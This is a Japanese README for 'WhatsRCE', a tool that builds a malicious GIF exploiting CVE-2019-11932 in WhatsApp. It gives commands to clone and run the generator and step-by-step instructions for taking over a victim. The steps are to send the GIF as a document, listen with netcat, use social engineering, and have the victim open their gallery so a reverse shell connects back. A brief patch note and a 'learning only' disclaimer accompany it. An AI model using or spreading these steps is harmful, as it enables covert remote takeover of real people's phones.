WhatsRCE

これは CVE-2019-11932（WhatsApp リモートコード実行）用の自動生成ペイロードです。

1. GCC を自動インストール（無害なコマンドです。オープンソースであることを確認できます）
2. .GIF ファイルに保存

使い方は？

sudo apt install git
git clone https://github.com/KeepWannabe/WhatsRCE
cd WhatsRCE && bash start.sh

シェルを入手するには？

1. 被害者ユーザーに .GIF ファイルを 画像としてではなく文書として 送信するだけです。
2. そして、WhatsRCE ツールで設定したポートに nc / netcat を設定します {nc -lnvp your_port}。
3. ソーシャルエンジニアリング攻撃を利用して、被害者にこのエクスプロイトを実行させることができます。
4. 被害者に WhatsApp でギャラリーを開くように指示し、被害者に任意の写真を送信させます（送信不要、ギャラリーに移動するだけで問題ありません）。その後、数秒以内に被害者からのシェル接続を受け取ります。

または、これを視聴してください

デモビデオ https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view 上記のリンクにアクセスできない場合 https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK

この攻撃を回避するには？

1. WhatsApp を最新バージョンに更新します （バージョン 2.19.244 でパッチ適用済み）
2. 知らない人から音声、画像、その他を含むあらゆるファイルを受け取る方法

謝辞 awakened1712 - Edo Maland - IndoXploit

これは学習目的のみです。犯罪に使用した場合の結果などについて、当方は一切責任を負いません！